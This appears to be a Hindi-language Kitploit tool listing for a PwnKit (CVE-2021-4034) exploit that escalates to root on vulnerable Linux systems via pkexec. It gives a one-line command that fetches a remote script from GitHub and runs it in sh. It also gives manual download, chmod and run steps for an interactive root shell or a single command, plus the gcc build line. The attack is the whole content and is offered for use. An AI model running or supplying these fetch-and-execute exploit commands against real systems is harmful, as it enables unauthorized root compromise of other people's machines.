PwnKit_CVE-2021-4034 — CVE-2021-4034 (PwnKit) के लिए स्व-निहित एक्सप्लॉइट जो pkexec के माध्यम से संवेदनशील Linux सिस्टम पर रूट के लिए विशेषाधिकार बढ़ाता है, इंटरैक्टिव शेल या एकल कमांड निष्पादन के समर्थन के साथ। | Kitploit

PwnKit

CVE-2021-4034 के लिए स्व-निहित शोषण - Pkexec स्थानीय विशेषाधिकार वृद्धि

उपयोग

Ubuntu, Debian, Fedora, और CentOS पर आधारित कमजोर Linux वितरणों पर बिना किसी बदलाव के काम करना चाहिए।

sh -c "$(curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKit_CVE-2021-4034/main/PwnKit.sh)"

मैन्युअली

curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKit_CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # इंटरैक्टिव शेल
./PwnKit 'id' # एकल आदेश

निर्माण

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

तकनीकी विवरण

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

संदर्भ

https://github.com/arthepsy/CVE-2021-4034/

टूल डाउनलोड करें